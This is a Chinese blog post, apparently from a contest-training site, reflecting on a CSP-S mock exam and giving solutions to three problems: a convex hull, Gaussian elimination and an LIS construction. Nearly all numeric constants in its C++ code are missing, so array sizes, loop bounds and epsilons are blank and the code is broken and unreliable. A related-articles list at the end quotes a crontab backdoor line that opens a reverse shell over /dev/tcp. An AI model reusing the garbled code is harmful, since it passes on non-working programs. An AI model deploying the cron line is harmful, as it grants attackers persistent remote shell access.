[考试反思]1015csp-s模拟测试75:混乱
赶上一套极其傻逼的题(是傻逼,不是简单)
T1超级卡精
T2模拟(输出卡"0.0"与"-0.0"不开spj),而且数据诡异乱打就能A(貌似给这道题的时间越长分越低)。
(B哥错解还一直嘲讽我和脸的正解,在随便一组手撸数据就hack他之前还一直说自己是正解,看NC多有素质)
T3极其麻烦的构造和题意转化
考试策略出锅了
昨天看到T2是模拟题极其开心。然后直接开始码。
码了一个小时,发现自己需要一个瓜丝消元,然而联想到了自己原来疯狂炸精的经历。
而且这道题的瓜丝还有自由元,怎么做来着不知道啊!!!
但是已经一个小时了总不能就这么扔了吧,于是开始yy瓜丝。
yy错了,过不了最大的样例,手撸了一个小的,又调了一个小时。
到这时,我一想,两个小时一个模拟,完戏。
于是去打T1,显然凸包啊,随手一打,发现卡精。
调来调去,手写分数,手写高精,十几个重载运算符,结果还不如不打。
又调了一会,忽然发现没多少时间了,T3还没动。
然后剩5分钟左右,状压是打不完了,博信仰拿10分。
注意时间。
在打出来之前一定要先想一想。
平时要学习适用性更强的板子。
T1:导弹袭击
这道题其实不是我不想好好写题解,只不过是因为出题人太毒瘤卡精让我很气愤。
凸包很好啊。就是判栈顶是不是比当前线差,目前的线和栈里第二个元素能不能让栈顶完全派不上用场。
算是单调栈维护凸包的裸题,但是不要求出斜率,用int存下ab,计算交点时用ab直接算。
注意处理平行线。
还是过不去的话用eps=7e-16卡一下。kx二分试出来的。
#include<bits/stdc++.h>
using namespace std;
struct line{
int id,a,b;
friend bool operator<(line x,line y){return x.a!=y.a?x.a<y.a:x.b<y.b;}
}L[];
map<pair<int,int>,int>m;vector<int>v[];
int n,s[],tp,ok[];
long double meet(line a,line b){return .0L*a.a*b.a*(a.b-b.b)/a.b/b.b/(b.a-a.a);}
int main(){//freopen("slay16.in","r",stdin);freopen("my.out","w",stdout);
scanf("%d",&n);
for(int i=,a,b;i<=n;++i)scanf("%d%d",&L[i].a,&L[i].b),L[i].id=i;
sort(L+,L++n);
for(int i=;i<=n;++i){
if(m.find(make_pair(L[i].a,L[i].b))==m.end())m[make_pair(L[i].a,L[i].b)]=L[i].id;
v[m[make_pair(L[i].a,L[i].b)]].push_back(L[i].id);
}
for(int i=;i<=n;++i){re:
if(m[make_pair(L[i].a,L[i].b)]!=L[i].id)continue;
while(tp&&L[s[tp]].a==L[i].a&&L[i].b>L[s[tp]].b)tp--;
if(tp>&&meet(L[i],L[s[tp]])<meet(L[i],L[s[tp-]])){tp--;goto re;}
if(tp&&meet(L[i],L[s[tp]])<7e-){tp--;goto re;}
s[++tp]=i;
}
for(int i=;i<=tp;++i)for(int j=;j<v[L[s[i]].id].size();++j)ok[v[L[s[i]].id][j]]=;
for(int i=;i<=n;++i)if(ok[i])printf("%d ",i);puts("");
}
T2:炼金术士的疑惑
乱搞错解都能A还写什么题解
模拟。瓜丝消元。
设最后的?是k。
然后用最后一个式子求出任意一个变量关于k的表达式,带入已知式子就得到了关于k的方程组。
题目保证k有解。消元就是了。
和题解的正解不一样,但是skyh hack掉大部分人的那组数据hack不掉我,那就假装它是正解吧。
#include<bits/stdc++.h>
using namespace std;
int n,cnt,sp,tp;
map<string,int>mono;
string s;
double X[][],x,ans[],spx;
void debug(){return;for(int i=;i<=n;++i,puts(""))for(int j=;j<=cnt;++j)printf("%.1lf ",X[i][j]);puts("---");}
double read(string S){
int l=S.length(),ptr=-;double num=;
for(int i=;i<l;++i)if(S[i]=='.')ptr=i;
if(ptr){for(int i=;i<ptr;++i)num=num*+S[i]-;return num+(S[ptr+]-)/10.0;}
for(int i=;i<l;++i)num=num*+S[i]-;return num;
}
void Gauss(){int ald=;
for(int i=;i<=n;++i){bg:ald++;if(ald>cnt)break;
int chl=i;double mxf=fabs(X[i][ald]);
for(int j=i;j<=n;++j)if(fabs(X[j][ald])>mxf)mxf=fabs(X[j][ald]),chl=j;
if(mxf<1e-)goto bg;
for(int j=;j<=cnt;++j)swap(X[i][j],X[chl][j]);
for(int j=i+;j<=n;++j){
double rate=X[j][ald]/X[i][ald];
for(int k=;k<=cnt;++k)X[j][k]-=rate*X[i][k];
}
}debug();
for(int i=n;i;--i){int fp=;//printf("%d\n",i);
if(fabs(X[i][sp])>1e-){spx*=X[i][]/X[i][sp];return;}
for(int j=;j<=cnt;++j)if(fabs(X[i][j])>1e-)fp=j;
if(!fp)continue;
for(int j=i-;j;--j){
double rate=X[j][fp]/X[i][fp];if(fabs(X[i][fp])<1e-)continue;
for(int k=;k<=cnt;++k)X[j][k]-=rate*X[i][k];
}debug();
}
}
int main(){//freopen("knight3.in","r",stdin);
cin>>n;
for(int i=;i<=n;++i){
while(s!="="){
cin>>x>>s;
if(mono.find(s)==mono.end())mono[s]=++cnt;
X[i][mono[s]]=x;
cin>>s;
}
while(s!="H="){
cin>>x>>s;
if(mono.find(s)==mono.end())mono[s]=++cnt;
X[i][mono[s]]=-x;
cin>>s;
}
cin>>X[i][];
}debug();
cin>>spx>>s;sp=mono[s];cin>>s;
while(s!="="){
cin>>x>>s;tp=mono[s];
for(int i=;i<=n;++i)X[i][tp]-=X[i][sp]*x/spx;
cin>>s;
}
while(s!="H="){
cin>>x>>s;tp=mono[s];
for(int i=;i<=n;++i)X[i][tp]+=X[i][sp]*x/spx;
cin>>s;
}debug();
Gauss();printf("%.1lf\n",spx+0.02);
}
附一组hack/调试用数据:
2
1 A + 1 B = 1 C H= 15
1 D + 1 E = 2 F H= 66
1 A + 1 B + 4 F = 1 C + 2 D + 2 E H= ?
T3:老司机的狂欢
题目名真是优雅。
但其实这道题还不错。和前两题比较起来。
题意转化有点复杂。
答案满足单调性,短时间会撞那么长时间撞的就更多了。。。
题目的提示也很明显,二分的上界都告诉你了:86400
你需要知道的是在某一个时间下最多能有几个司机。
不能相遇追及,那么也就是行走的路线不能有交集。
一个合法的选择方法,按照起点排序后,终点也是递增的。否则就相遇了。
LIS问题。离散化+树状数组做个dp。
这样再加上第二问输出-1就有60分了。
#include<bits/stdc++.h>
using namespace std;
unordered_map<long long,int>M;
struct driver{
long long x,a;
friend bool operator<(driver A,driver B){
return A.x<B.x;
}
}d[];
long long cal(driver A,int tim){
return A.x*+A.a*tim*tim;
}
int n,t[];long long x2[];
void modify(int p,int w){for(;p<=n;p+=p&-p)t[p]=max(t[p],w);}
int ask(int p,int w=){for(;p;p^=p&-p)w=max(w,t[p]);return w;}
int chk(int tim){int ans=;
for(int i=;i<=n;++i)x2[i]=cal(d[i],tim);
sort(x2+,x2++n);
for(int i=;i<=n;++i)t[i]=;
M.clear();int cnt=;
for(int i=;i<=n;++i)if(i==||x2[i]!=x2[i-])M[x2[i]]=++cnt;
for(int i=;i<=n;++i)x2[i]=M[cal(d[i],tim)],ans=max(ans,ask(x2[i]-)+),modify(x2[i],ask(x2[i]-)+);//printf("%d %d\n",tim,ans);
return ans;
}
int main(){int k;
scanf("%d%d",&n,&k);
for(int i=;i<=n;++i)scanf("%lld%lld",&d[i].x,&d[i].a);
sort(d+,d++n);
int l=,r=;
while(l<r-)if(chk(l+r>>)>=k)l=l+r>>;else r=l+r>>;
if(chk(r)>=k)l=r;
printf("%d\n-1\n",l);
}
到这里代码还没有到1k
怎么构造最小的字典序?
考虑每一种方案,如果你记录上你每一个点的最优决策是从哪里转移而来的,那么每个点都只有一个父亲。
就是一个树形结构。
然后加入你现在要转移了,每个点上的dp不再是一个int值而是一个二元组。
first是深度(即原dp值),second是这个点的位置(按起点排序后)。
然后和原来差不多,我们要用一个树状数组,不过这次要维护二元组之间的大小。
根据dp转移的定义,如果first不同,first更大的优。
否则就要比较字典序了,这时候你已经确定了它们的深度相同。
我们维护这条链上所有老司机的编号值,要求比较哪一个排序后的字典序最小。
对于i和j,设其lca为l,那么在l及以上的部分两条链是完全一样的,所以不需要比较。
我们只需要比较(l,i)和(l,j)的关系。
而因为每个点都在树里只出现了一遍,所以在lca以下的部分中,两条链上没有老司机编号相同的点。
那么要比较字典序的话,其实就是在比较两条链在lca以下的最小值谁更小。
最小值较小者排完序之后的字典序就更小。这些用树上倍增搞就可以了。
然后就可以用这种比较法则去更新树状数组和最终的答案以及维护树状数组了。
最后只要不断在决策树上跳父亲即可。
#include<bits/stdc++.h>
using namespace std;
int min(int a,int b){return a<b?a:b;}
unordered_map<long long,int>M;
struct driver{
long long x,a;int id;
friend bool operator<(driver A,driver B){
return A.x<B.x;
}
}d[];
long long cal(driver A,int tim){
return A.x*+A.a*tim*tim;
}
int n,t[];long long x2[];
void modify(int p,int w){for(;p<=n;p+=p&-p)t[p]=max(t[p],w);}
int ask(int p,int w=){for(;p;p^=p&-p)w=max(w,t[p]);return w;}
int chk(int tim){int ans=;
for(int i=;i<=n;++i)x2[i]=cal(d[i],tim);
sort(x2+,x2++n);
for(int i=;i<=n;++i)t[i]=;
M.clear();int cnt=;
for(int i=;i<=n;++i)if(i==||x2[i]!=x2[i-])M[x2[i]]=++cnt;
for(int i=;i<=n;++i)x2[i]=M[cal(d[i],tim)],ans=max(ans,ask(x2[i]-)+),modify(x2[i],ask(x2[i]-)+);
return ans;
}
int f[][],dep[],mn[][],ok[];
int lca(int a,int b){
for(int i=;~i;--i)if(f[a][i]!=f[b][i])a=f[a][i],b=f[b][i];
return f[a][];
}
int get_val(int p,int anc){
int sub=dep[p]-dep[anc],ans=;
for(int i=;~i;--i)if(sub&<<i)ans=min(ans,mn[p][i]),p=f[p][i];
return ans;
}
bool com(pair<int,int>a,pair<int,int>b){
if(a.first!=b.first)return a.first>b.first;
int LCA=lca(a.second,b.second);
return get_val(a.second,LCA)<get_val(b.second,LCA);
}
pair<int,int>T[];
void modify(int p,pair<int,int>w){for(;p<=n;p+=p&-p)if(com(w,T[p]))T[p]=w;}
pair<int,int> query(int p,pair<int,int>w=make_pair(,)){for(;p;p^=p&-p)if(com(T[p],w))w=T[p];return w;}
pair<int,int> get_plan(int tim){pair<int,int>ans=make_pair(,);
for(int i=;i<=n;++i)x2[i]=cal(d[i],tim);
sort(x2+,x2++n);
for(int i=;i<=n;++i)T[i]=make_pair(,);
M.clear();int cnt=;
for(int i=;i<=n;++i)if(i==||x2[i]!=x2[i-])M[x2[i]]=++cnt;
for(int i=;i<=n;++i){
x2[i]=M[cal(d[i],tim)];
pair<int,int>tmp=query(x2[i]-);tmp.first++;
f[i][]=tmp.second;mn[i][]=d[i].id;dep[i]=tmp.first;
for(int j=;j<=;++j)f[i][j]=f[f[i][j-]][j-],mn[i][j]=min(mn[i][j-],mn[f[i][j-]][j-]);
tmp.second=i;
modify(x2[i],tmp);if(com(tmp,ans))ans=tmp;
}return ans;
}
int main(){int k;
scanf("%d%d",&n,&k);
for(int i=;i<=n;++i)scanf("%lld%lld",&d[i].x,&d[i].a),d[i].id=i;
sort(d+,d++n);
int l=,r=;
while(l<r-)if(chk(l+r>>)>=k)l=l+r>>;else r=l+r>>;
if(chk(r)>=k)l=r;printf("%d\n",l);
if(chk(l)>k){puts("-1");return ;}
int g=get_plan(l).second;
while(g)ok[d[g].id]=,g=f[g][];
for(int i=;i<=n;++i)if(ok[i])printf("%d ",i);puts("");
}
然后它就2.4k了
思路积累:
- 把最优dp转移的过程抽象为树形来进行优化
[考试反思]1015csp-s模拟测试75:混乱的更多相关文章
- [考试反思]0718 NOIP模拟测试5
最后一个是我...rank#11 rank#1和rank#2被外校大佬包揽了. 啊...考的太烂说话底气不足... 我考场上在干些什么啊!!! 20分钟“切”掉T2,又27分钟“切”掉T1 切什么切, ...
- [考试反思]0814NOIP模拟测试21
前两名是外校的240.220.kx和skyh拿到了190的[暴力打满]的好成绩. 我第5是170分,然而160分就是第19了. 在前一晚上刚刚爆炸完毕后,心态格外平稳. 想想前一天晚上的挣扎: 啊啊啊 ...
- [考试反思]1109csp-s模拟测试106:撞词
(撞哈希了用了模拟测试28的词,所以这次就叫撞词吧) 蓝色的0... 蓝色的0... 都该联赛了还能CE呢... 考试结束前15分钟左右,期望得分300 然后对拍发现T2伪了写了一个能拿90分的垃圾随 ...
- [考试反思]0909csp-s模拟测试41:反典
说在前面:我是反面典型!!!不要学我!!! 说在前面:向rank1某脸学习,不管是什么题都在考试反思后面稍微写一下题解. 这次是真的真的运气好... 这次知识点上还可以,但是答题策略出了问题... 幸 ...
- [考试反思]0729NOIP模拟测试10
安度因:哇哦. 安度因:谢谢你. 第三个rank1不知为什么就来了.迷之二连?也不知道哪里来的rp 连续两次考试数学都占了比较大的比重,所以我非常幸运的得以发挥我的优势(也许是优势吧,反正数学里基本没 ...
- [考试反思]0714/0716,NOIP模拟测试3/4
这几天时间比较紧啊(其实只是我效率有点低我在考虑要不要坐到后面去吹空调) 但是不管怎么说,考试反思还是要写的吧. 第三次考试反思没写总感觉缺了点什么,但是题都刷不完... 一进图论看他们刷题好快啊为什 ...
- [考试反思]1003csp-s模拟测试58:沉淀
稳住阵脚. 还可以. 至少想拿到的分都拿到了,最后一题的确因为不会按秩合并和线段树分治而想不出来. 对拍了,暴力都拍了.挺稳的. 但是其实也有波折,险些被卡内存. 如果内存使用不连续或申请的内存全部使 ...
- [考试反思]0816NOIP模拟测试23
210 210 210 170 还可以.暴力打满就rk4了? 但不管怎么说,总算是在改完题之后理直气壮的写考试反思了. T1是个dp,说水也不太水.(当然某脸只要A掉了一道题就要说那是水题) 我的思路 ...
- [考试反思]0801NOIP模拟测试11
8月开门红. 放假回来果然像是神志不清一样. 但还是要接受这个事实. 嗯,说好听点,并列rank#7. 说难听点,垃圾rank#18. 都不用粘人名就知道我是哪一个吧... 因为图片不能太长,所以就不 ...
随机推荐
- SpringBoot 整合 MyBatis-Plus 入门体验
一.前言 本文小编将基于 SpringBoot 整合 MyBatis-Plus , MyBatis-Plus 是一个 MyBatis 的增强工具,在 MyBatis 的基础上做增强并且不改变原本功能 ...
- SpringBoot系列:Spring Boot使用模板引擎JSP
一.Java模板引擎 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档. 在jav ...
- springboot结合jpa
idea中新建springboot项目,引入spring-boot-starter-data-jpa依赖 application.yml中配置数据库连接,示例如下: spring: datasourc ...
- 为了给女朋友买件心怡内衣,我用Python爬虫了天猫内衣售卖数据
真爱,请置顶或星标 大家好,希望各位能怀着正直.严谨.专业的心态观看这篇文章.ヾ(๑╹◡╹)ノ" 接下来我们尝试用 Python 抓取天猫内衣销售数据,并分析得到中国女性普遍的罩杯数据.最受 ...
- MySQLdb操作数据库
堡垒机前戏 开发堡垒机之前,先来学习Python的paramiko模块,该模块机遇SSH用于连接远程服务器并执行相关操作 SSHClient 用于连接远程服务器并执行基本命令 基于用户名密码连接: + ...
- DCL语句
DCL语句我们现在默认使用的都是root用户,超级管理员,拥有全部的权限.但是,一个公司里面的数据库服务器上面可能同时运行着很多个项目的数据库.所以,我们应该可以根据不同的项目建立不同的用户,分配不同 ...
- crontab一句话后门分析
正常版本 (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1&g ...
- [CF494B] Obsessive String
Hamed has recently found a string t and suddenly became quite fond of it. He spent several days tryi ...
- Cocos2d-x 学习笔记(22) TableView
[Cocos2d-x 学习笔记 ]目录 1. 简介 TableView直接继承了ScrollView和ScrollViewDelegate.说明TableView能实现ScrollView拖动cont ...
- win10系统plsql卡顿、菜单闪烁解决办法
右键快捷方式--属性--兼容性: 设置为以win7模式运行,以管理员模式运行.如图: